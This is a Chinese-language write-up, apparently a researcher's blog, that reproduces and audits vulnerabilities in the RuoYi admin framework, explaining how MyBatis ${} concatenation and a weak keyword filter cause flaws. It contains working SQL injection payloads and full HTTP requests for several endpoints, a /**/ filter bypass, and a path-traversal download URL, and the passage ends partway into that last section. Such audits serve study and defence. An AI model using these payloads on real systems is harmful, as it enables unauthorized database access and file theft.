若依框架全系列漏洞复现与代码审计

1 概述

1.1 前言

在之前尝试挖 src 和 cnvd 的过程中,找到的管理系统,十个里面四个是若依或者若依二开;还有四个是 Jeecg-boot 或者 Jeecg-boot 二开;剩下两个,一个是看来就很难打的系统,另一个是看起来的很垃圾的,即使没有弱口令,在其他地方也能进的感觉;

因此,打算把这两个大框架的漏洞全部复现一下,顺便也深入学习一下代码审计(因为这两个框架都开源嘛,所以深入了解一下漏洞成因);

本次用来进行漏洞复现的若依主要是4.5.0、4.6.0、4.7.0、4.7.1、4.7.2、4.7.8、4.8.0 几个版本进行测试;

java 版本使用的是 jdk1.8.0_121,主要是为了远程 jndi 注入的实现;

1.2 简介

Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。

若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。

2 SQL 注入漏洞

2.1 注入点/role/list接口(<V4.6.2)

漏洞复现

1
&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /system/role/list HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 201
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/system/role
Cookie: JSESSIONID=eaeb8b8f-7702-4f7e-ab5f-767d916498d1
Priority: u=0

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))

漏洞分析

这里我们采用漏洞挖掘的思想进行漏洞分析

在 MyBatis 配置中一般使用#{}实现类似预编译PreparedStatement 的占位效果,传入内容会进行相应的转义,可以用来防止 SQL 注入。

当 MyBatis 配置中采用${}方式则是通过拼接字符串的形式构成 SQL 语句进行执行,容易产生 SQL 注入;

对于漏洞挖掘,首先需要找到的是容易产生 SQL 注入的点,也就是使用${}进行拼接的 sql 语句,引入直接定位指定的文件掩码*.xml,并且使用关键字符进行搜索,如${或者正则搜索;

定位到一个容易产生 SQL 注入的 MyBatis 配置,位于RuoYi-4.6.0\ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<select id="selectRoleList" parameterType="SysRole" resultMap="SysRoleResult">
<include refid="selectRoleContactVo"/>
where r.del_flag = '0'
<if test="roleName != null and roleName != ''">
AND r.role_name like concat('%', #{roleName}, '%')
</if>
<if test="status != null and status != ''">
AND r.status = #{status}
</if>
<if test="roleKey != null and roleKey != ''">
AND r.role_key like concat('%', #{roleKey}, '%')
</if>
<if test="dataScope != null and dataScope != ''">
AND r.data_scope = #{dataScope}
</if>
<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
and date_format(r.create_time,'%y%m%d') &gt;= date_format(#{params.beginTime},'%y%m%d')
</if>
<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
and date_format(r.create_time,'%y%m%d') &lt;= date_format(#{params.endTime},'%y%m%d')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>

该配置的 SQL 语句可以还原为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SELECT r.role_id,
r.role_name,
r.role_key,
r.status,
r.data_scope,
r.create_time
FROM sys_role r
LEFT JOIN sys_user_role ur ON r.role_id = ur.role_id
LEFT JOIN sys_user u ON ur.user_id = u.user_id
WHERE r.del_flag = '0'
AND r.role_name LIKE CONCAT('%', ?, '%')
AND r.status = ?
AND r.role_key LIKE CONCAT('%', ?, '%')
AND r.data_scope = ?
AND DATE_FORMAT(r.create_time,'%y%m%d') >= DATE_FORMAT(?, '%y%m%d')
AND DATE_FORMAT(r.create_time,'%y%m%d') <= DATE_FORMAT(?, '%y%m%d')
${params.dataScope}

因此非常容易能够看出,只要params.dataScope可控,就能够构造一个非常有效的 SQL 注入;

定位该使用该 XML 配置进行处理的接口,通过MyBatisX插件定位函数,然后再一路查找函数用法,可以找到下方的接口处理函数,位于RuoYi-4.6.0\ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

1
2
3
4
5
6
7
8
9
@RequiresPermissions("system:role:list")
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(SysRole role)
{
startPage();
List<SysRole> list = roleService.selectRoleList(role);
return getDataTable(list);
}

传入参数为SysRole类型且没有对其进行任何过滤,SysRole继承BaseEntity类,在BaseEntity类中存在对params参数的定义,位于RuoYi-4.6.0/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class BaseEntity implements Serializable
{
private static final long serialVersionUID = 1L;

/** 搜索值 */
private String searchValue;

/** 创建者 */
private String createBy;

/** 创建时间 */
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
private Date createTime;

/** 更新者 */
private String updateBy;

/** 更新时间 */
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
private Date updateTime;

/** 备注 */
private String remark;

/** 请求参数 */
private Map<String, Object> params;

...

}

因此,可以直接通过传入params[dataScope]=参数对其中内容进行定义,该内容也会直接拼接在 sql 语句后,从而导致 sql 注入的产生。

2.2 注入点/role/export接口(<V4.6.2)

漏洞复现

1
&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /system/role/export HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 179
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/system/role
Cookie: JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56
Priority: u=0

roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=roleSort&isAsc=asc&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))

漏洞分析

此处的漏洞分析内容其实与 2.1 小节的漏洞分析注入点/role/list接口一致,因此这里不在赘述,简单进行分析。

根据 Mybatis 的配置可以看出在此处是存在 sql 注入的可能性;

RuoYi-4.6.0/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<select id="selectRoleList" parameterType="SysRole" resultMap="SysRoleResult">
<include refid="selectRoleContactVo"/>
where r.del_flag = '0'
<if test="roleName != null and roleName != ''">
AND r.role_name like concat('%', #{roleName}, '%')
</if>
<if test="status != null and status != ''">
AND r.status = #{status}
</if>
<if test="roleKey != null and roleKey != ''">
AND r.role_key like concat('%', #{roleKey}, '%')
</if>
<if test="dataScope != null and dataScope != ''">
AND r.data_scope = #{dataScope}
</if>
<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
and date_format(r.create_time,'%y%m%d') &gt;= date_format(#{params.beginTime},'%y%m%d')
</if>
<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
and date_format(r.create_time,'%y%m%d') &lt;= date_format(#{params.endTime},'%y%m%d')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>

找到使用相应 Mybatis 配置的位置可以看出与/role/list接口一致,传入的是SysRole参数,从而能够通过定义params.dataScope实现 sql 注入;

RuoYi-4.6.0/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java

1
2
3
4
5
6
7
8
9
10
@Log(title = "角色管理", businessType = BusinessType.EXPORT)
@RequiresPermissions("system:role:export")
@PostMapping("/export")
@ResponseBody
public AjaxResult export(SysRole role)
{
List<SysRole> list = roleService.selectRoleList(role);
ExcelUtil<SysRole> util = new ExcelUtil<SysRole>(SysRole.class);
return util.exportExcel(list, "角色数据");
}

2.3 注入点/user/list接口(<V4.6.2)

漏洞复现

1
&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /system/user/list HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 227
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/system/user
Cookie: JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56
Priority: u=0

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))

漏洞分析

此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<select id="selectUserList" parameterType="SysUser" resultMap="SysUserResult">
select u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.password, u.sex, u.salt, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by, u.create_time, u.remark, d.dept_name, d.leader from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
where u.del_flag = '0'
<if test="loginName != null and loginName != ''">
AND u.login_name like concat('%', #{loginName}, '%')
</if>
<if test="status != null and status != ''">
AND u.status = #{status}
</if>
<if test="phonenumber != null and phonenumber != ''">
AND u.phonenumber like concat('%', #{phonenumber}, '%')
</if>
<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
AND date_format(u.create_time,'%y%m%d') &gt;= date_format(#{params.beginTime},'%y%m%d')
</if>
<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
AND date_format(u.create_time,'%y%m%d') &lt;= date_format(#{params.endTime},'%y%m%d')
</if>
<if test="deptId != null and deptId != 0">
AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) ))
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>
1
2
3
4
5
6
7
8
9
@RequiresPermissions("system:user:list")
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUserList(user);
return getDataTable(list);
}

2.4 注入点/dept/list接口(<V4.6.2)

漏洞复现

1
&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /system/dept/list HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 93
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/system/dept
Cookie: JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56
Priority: u=0

deptName=&status=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))

漏洞分析

此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<select id="selectDeptList" parameterType="SysDept" resultMap="SysDeptResult">
<include refid="selectDeptVo"/>
where d.del_flag = '0'
<if test="parentId != null and parentId != 0">
AND parent_id = #{parentId}
</if>
<if test="deptName != null and deptName != ''">
AND dept_name like concat('%', #{deptName}, '%')
</if>
<if test="status != null and status != ''">
AND status = #{status}
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
order by d.parent_id, d.order_num
</select>
1
2
3
4
5
6
7
8
@RequiresPermissions("system:dept:list")
@PostMapping("/list")
@ResponseBody
public List<SysDept> list(SysDept dept)
{
List<SysDept> deptList = deptService.selectDeptList(dept);
return deptList;
}

2.5 注入点/role/authUser/allocatedList接口(<V4.6.2)

漏洞复现

1
&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /system/role/authUser/allocatedList HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 166
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/system/role/authUser/1
Cookie: JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))

漏洞分析

此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<select id="selectAllocatedList" parameterType="SysUser" resultMap="SysUserResult">
select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time
from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
left join sys_user_role ur on u.user_id = ur.user_id
left join sys_role r on r.role_id = ur.role_id
where u.del_flag = '0' and r.role_id = #{roleId}
<if test="loginName != null and loginName != ''">
AND u.login_name like concat('%', #{loginName}, '%')
</if>
<if test="phonenumber != null and phonenumber != ''">
AND u.phonenumber like concat('%', #{phonenumber}, '%')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>
1
2
3
4
5
6
7
8
9
10
11
12
/**
* 查询已分配用户角色列表
*/
@RequiresPermissions("system:role:list")
@PostMapping("/authUser/allocatedList")
@ResponseBody
public TableDataInfo allocatedList(SysUser user)
{
startPage();
List<SysUser> list = userService.selectAllocatedList(user);
return getDataTable(list);
}

2.6 注入点/role/authUser/unallocatedList接口(<V4.6.2)

漏洞复现

通过接口/system/role/authUser/unallocatedList发送 post 请求实现 sql 注入

1
loginName=&phoneNumber=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))

漏洞分析

此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<select id="selectUnallocatedList" parameterType="SysUser" resultMap="SysUserResult">
select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time
from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
left join sys_user_role ur on u.user_id = ur.user_id
left join sys_role r on r.role_id = ur.role_id
where u.del_flag = '0' and (r.role_id != #{roleId} or r.role_id IS NULL)
and u.user_id not in (select u.user_id from sys_user u inner join sys_user_role ur on u.user_id = ur.user_id and ur.role_id = #{roleId})
<if test="loginName != null and loginName != ''">
AND u.login_name like concat('%', #{loginName}, '%')
</if>
<if test="phonenumber != null and phonenumber != ''">
AND u.phonenumber like concat('%', #{phonenumber}, '%')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>
1
2
3
4
5
6
7
8
9
10
11
12
/**
* 查询未分配用户角色列表
*/
@RequiresPermissions("system:role:list")
@PostMapping("/authUser/unallocatedList")
@ResponseBody
public TableDataInfo unallocatedList(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUnallocatedList(user);
return getDataTable(list);
}

2.7 注入点/dept/edit接口(<V4.6.2)

漏洞复现

这个漏洞貌似很鸡肋,第一无法完全显示数据,第二是那个ancestors参数的长度似乎有限制;

因此想要完全的实现泄漏数据几乎不可能,想要进行 sql 盲注其实也不太可能,因为长度有限制;各位如果有能够在该漏洞实现危害扩大的方法请务必告诉我;

抓取到上述数据包以后,修改parentId传输参数为0,然后再添加一下 payload 发送数据包;

1
&ordernum=1&ancestors=100)or(extractvalue(1,concat((select user()))));#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /system/dept/edit HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 277
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/system/dept/edit/101
Cookie: JSESSIONID=bb95c391-ec91-4058-a127-3616bb3fb37d
Priority: u=0

deptId=101&parentId=0&parentName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&deptName=%E6%B7%B1%E5%9C%B3%E6%80%BB%E5%85%AC%E5%8F%B8&orderNum=1&leader=%E8%8B%A5%E4%BE%9D&phone=15888888888&email=ry%40qq.com&status=0&ordernum=1&ancestors=100)or(extractvalue(1,concat((select user()))));#

漏洞分析

首先通过 Mybatis 配置文件进行查找,发现存在可能存在 sql 注入的配置,如下,位于RuoYi-4.6.0/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml

1
2
3
4
5
6
7
8
9
<update id="updateDeptStatus" parameterType="SysDept">
update sys_dept
<set>
<if test="status != null and status != ''">status = #{status},</if>
<if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
update_time = sysdate()
</set>
where dept_id in (${ancestors})
</update>

利用插件MybatisX找到相关函数RuoYi-4.6.0/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java

1
2
3
4
5
6
/**
* 修改所在部门的父级部门状态
*
* @param dept 部门
*/
public void updateDeptStatus(SysDept dept);

通过函数查找用法可以找到RuoYi-4.6.0/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java#updateParentDeptStatus

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 修改该部门的父级部门状态
*
* @param dept 当前部门
*/
private void updateParentDeptStatus(SysDept dept)
{
String updateBy = dept.getUpdateBy();
dept = deptMapper.selectDeptById(dept.getDeptId());
dept.setUpdateBy(updateBy);
deptMapper.updateDeptStatus(dept);
}

继续查找用法可以找到RuoYi-4.6.0/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java#updateDept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* 修改保存部门信息
*
* @param dept 部门信息
* @return 结果
*/
@Override
@Transactional
public int updateDept(SysDept dept)
{
SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId());
SysDept oldDept = selectDeptById(dept.getDeptId());
if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept))
{
String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId();
String oldAncestors = oldDept.getAncestors();
dept.setAncestors(newAncestors);
updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
}
int result = deptMapper.updateDept(dept);
if (UserConstants.DEPT_NORMAL.equals(dept.getStatus()))
{
// 如果该部门是启用状态,则启用该部门的所有上级部门
updateParentDeptStatus(dept);
}
return result;
}

继续查找可以发现在/system/dept/edit接口处理函数RuoYi-4.6.0/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java#editSave中进行了调用;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 保存
*/
@Log(title = "部门管理", businessType = BusinessType.UPDATE)
@RequiresPermissions("system:dept:edit")
@PostMapping("/edit")
@ResponseBody
public AjaxResult editSave(@Validated SysDept dept)
{
if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept)))
{
return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
}
else if (dept.getParentId().equals(dept.getDeptId()))
{
return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
}
else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus())
&& deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
{
return AjaxResult.error("该部门包含未停用的子部门!");
}
dept.setUpdateBy(ShiroUtils.getLoginName());
return toAjax(deptService.updateDept(dept));
}

传入参数类型是SysDept,其中参数内容包括ancestors,因此可以通过定义ancestors的内容实现 sql 注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* 部门表 sys_dept
*
* @author ruoyi
*/
public class SysDept extends BaseEntity
{
private static final long serialVersionUID = 1L;

/** 部门ID */
private Long deptId;

/** 父部门ID */
private Long parentId;

/** 祖级列表 */
private String ancestors;

/** 部门名称 */
private String deptName;

/** 显示顺序 */
private String orderNum;

/** 负责人 */
private String leader;

/** 联系电话 */
private String phone;

/** 邮箱 */
private String email;

/** 部门状态:0正常,1停用 */
private String status;

/** 删除标志(0代表存在 2代表删除) */
private String delFlag;

/** 父部门名称 */
private String parentName;

...

}

ps:虽然在代码中并没有看到相关的限制行为,但是在实际测试的过程中发现,对ancestors似乎是由长度限制的,我这边就不进行深入分析了,有兴趣的师傅可以分析一下原因。

2.8 注入点/tool/gen/createTable接口(V4.7.1)

漏洞复现

1
CREATE table candy as select extractvalue(1,concat(0x7e,(select user()), 0x7e));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /tool/gen/createTable HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 92
Origin: http://192.168.1.10
Connection: keep-alive
Referer: http://192.168.1.10/tool/gen/createTable
Cookie: JSESSIONID=ac820c87-df58-41f8-b397-61ee0cd96e25
Priority: u=0

sql=CREATE+table+candy+as+select+extractvalue(1%2Cconcat(0x7e%2C(select+user())%2C+0x7e))%3B

漏洞分析

1
2
3
<update id="createTable">
${sql}
</update>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@RequiresRoles("admin")
@Log(title = "创建表", businessType = BusinessType.OTHER)
@PostMapping("/createTable")
@ResponseBody
public AjaxResult create(String sql)
{
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
List<String> tableNames = new ArrayList<>();
for (SQLStatement sqlStatement : sqlStatements)
{
// 判断sqlstatement是否为mysql创建表的语句对象
if (sqlStatement instanceof MySqlCreateTableStatement)
{
MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement) sqlStatement;
String tableName = createTableStatement.getTableName();
tableName = tableName.replaceAll("`", "");
int msg = genTableService.createTable(createTableStatement.toString());
if (msg == 0)
{
tableNames.add(tableName);
}
}
else
{
return AjaxResult.error("请输入建表语句");
}
}
List<GenTable> tableList = genTableService.selectDbTableListByNames((tableNames.toArray(new String[tableNames.size()])));
String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName"));
genTableService.importGenTable(tableList, operName);
return AjaxResult.success();
}

根据代码中表现出来的结果可以看出,只要是创建表的 sql 语句即create table都可以执行;

1
create table candy as select extractvalue(1,concat(0x7e,(select user()), 0x7e))

2.9 注入点/tool/gen/createTable接口(4.7.1<Version<V4.7.5)

漏洞复现

1
create table candy as select/**/extractvalue(1,concat(0x7e,(select/**/user()),0x7e))

原始的 payload 已经行不通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /tool/gen/createTable HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 89
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/tool/gen/createTable
Cookie: JSESSIONID=32945bbe-0b10-45d5-91eb-166f46c6c44d
Priority: u=0

sql=create+table+candy+as+select+extractvalue(1%2Cconcat(0x7e%2C(select+user())%2C+0x7e))

将 payload 中的 select 后面的空格使用/**/进行替换即可,具体原因请看漏洞分析

1
create table candy as select/**/extractvalue(1,concat(0x7e,(select/**/user()),0x7e))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /tool/gen/createTable HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 102
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/tool/gen/createTable
Cookie: JSESSIONID=32945bbe-0b10-45d5-91eb-166f46c6c44d
Priority: u=0

sql=create+table+candy+as+select%2F**%2Fextractvalue(1%2Cconcat(0x7e%2C(select%2F**%2Fuser())%2C0x7e))

漏洞分析

通过观察该接口的控制器,可以发现在函数执行开始就对关键词进行了过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@RequiresRoles("admin")
@Log(title = "创建表", businessType = BusinessType.OTHER)
@PostMapping("/createTable")
@ResponseBody
public AjaxResult create(String sql)
{
try
{
SqlUtil.filterKeyword(sql);
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
List<String> tableNames = new ArrayList<>();
for (SQLStatement sqlStatement : sqlStatements)
{
if (sqlStatement instanceof MySqlCreateTableStatement)
{
MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement) sqlStatement;
if (genTableService.createTable(createTableStatement.toString()))
{
String tableName = createTableStatement.getTableName().replaceAll("`", "");
tableNames.add(tableName);
}
}
}
List<GenTable> tableList = genTableService.selectDbTableListByNames(tableNames.toArray(new String[tableNames.size()]));
String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName"));
genTableService.importGenTable(tableList, operName);
return AjaxResult.success();
}
catch (Exception e)
{
logger.error(e.getMessage(), e);
return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* SQL关键字检查
*/
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (int i = 0; i < sqlKeywords.length; i++)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeywords[i]) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
1
2
3
4
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "select |insert |delete |update |drop |count |exec |chr |mid |master |truncate |char |and |declare ";

可以发现其对大部分的关键词都进行了过滤,但是这个过滤貌似不太严谨,连空格都匹配是什么意思?

那我不用空格不就 bypass 了吗,没搞懂,空格使用/**/即可绕过

3 任意文件下载

3.1 CNVD-2021-01931任意文件下载(<V4.5.1)

漏洞复现

1
http://192.168.1.10/common/download/resource?resource=/profile/../../../../Windows/win.ini
1
2
3
4
5
6
7
8
9
10
11
12
